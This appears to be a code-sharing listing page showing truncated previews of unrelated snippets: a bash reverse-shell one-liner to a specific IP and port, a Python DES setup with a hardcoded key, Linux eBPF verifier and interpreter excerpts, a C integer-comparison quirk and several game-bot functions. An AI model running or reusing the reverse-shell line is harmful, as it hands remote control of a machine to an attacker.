This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| bash -i >& /dev/tcp/162.19.251.120/8531 0>&1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import hmac | |
| from hashlib import sha1 | |
| from Crypto.Cipher import DES | |
| from base64 import b64decode, b64encode | |
| BS = 8 | |
| pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) | |
| key = b64decode("SnNGOTg3Ni0=") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn) | |
| { | |
| ... | |
| static const void *jumptable[256] = { | |
| [0 ... 255] = &&default_label, | |
| /* Now overwrite non-defaults ... */ | |
| /* 32 bit ALU operations */ | |
| [BPF_ALU | BPF_ADD | BPF_X] = &&ALU_ADD_X, | |
| [BPF_ALU | BPF_ADD | BPF_K] = &&ALU_ADD_K, | |
| ... |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| int a = 0xFFFFFFFF; | |
| uint64_t b = 0xFFFFFFFFFFFFFFFF; | |
| if(a == b) | |
| printf("true\n"); | |
| else | |
| printf("false\n"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* case: R = imm | |
| * remember the value we stored into this reg | |
| */ | |
| regs[insn->dst_reg].type = SCALAR_VALUE; | |
| __mark_reg_known(regs + insn->dst_reg, insn->imm); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| struct bpf_insn { | |
| __u8 code; /* opcode */ | |
| __u8 dst_reg:4; /* dest register */ | |
| __u8 src_reg:4; /* source register */ | |
| __s16 off; /* signed offset */ | |
| __s32 imm; /* signed immediate constant */ | |
| }; | |
| /* Mark the unknown part of a register (variable offset or scalar value) as | |
| * known to have the value @imm. | |
| */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| if (BPF_SRC(insn->code) == BPF_K && | |
| (opcode == BPF_JEQ || opcode == BPF_JNE) && | |
| dst_reg->type == SCALAR_VALUE && | |
| tnum_equals_const(dst_reg->var_off, insn->imm)) { | |
| if (opcode == BPF_JEQ) { | |
| /* if (imm == imm) goto pc+off; | |
| * only follow the goto, ignore fall-through | |
| */ | |
| *insn_idx += insn->off; | |
| return 0; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def do_turn(pw): | |
| try: | |
| dest = 0 | |
| if len(pw.my_fleets()) >= 1: | |
| return | |
| if not len(pw.my_planets()): | |
| return | |
| if pw.enemy_fleets() >= 1: | |
| for f in pw.enemy_fleets(): | |
| attackFleet(pw,f) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def do_turn(pw): | |
| dest = 0 | |
| if len(pw.my_fleets()) >= 1: | |
| return | |
| if not len(pw.my_planets()): | |
| return | |
| if pw.turn_number() % 2 != 0: # CLOSEST | |
| pw.debug("A") | |
| source = getrichestplanet(pw) | |
| dest = getclosestplanet(pw) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def do_turn(pw): | |
| dest = 0 | |
| if len(pw.my_fleets()) >= 1: | |
| return | |
| if not len(pw.my_planets()): | |
| return | |
| if pw.turn_number() % 2 != 0: # CLOSEST | |
| #pw.debug("A") | |
| source = getrichestplanet(pw) | |
| dest = getclosestplanet(pw) |
NewerOlder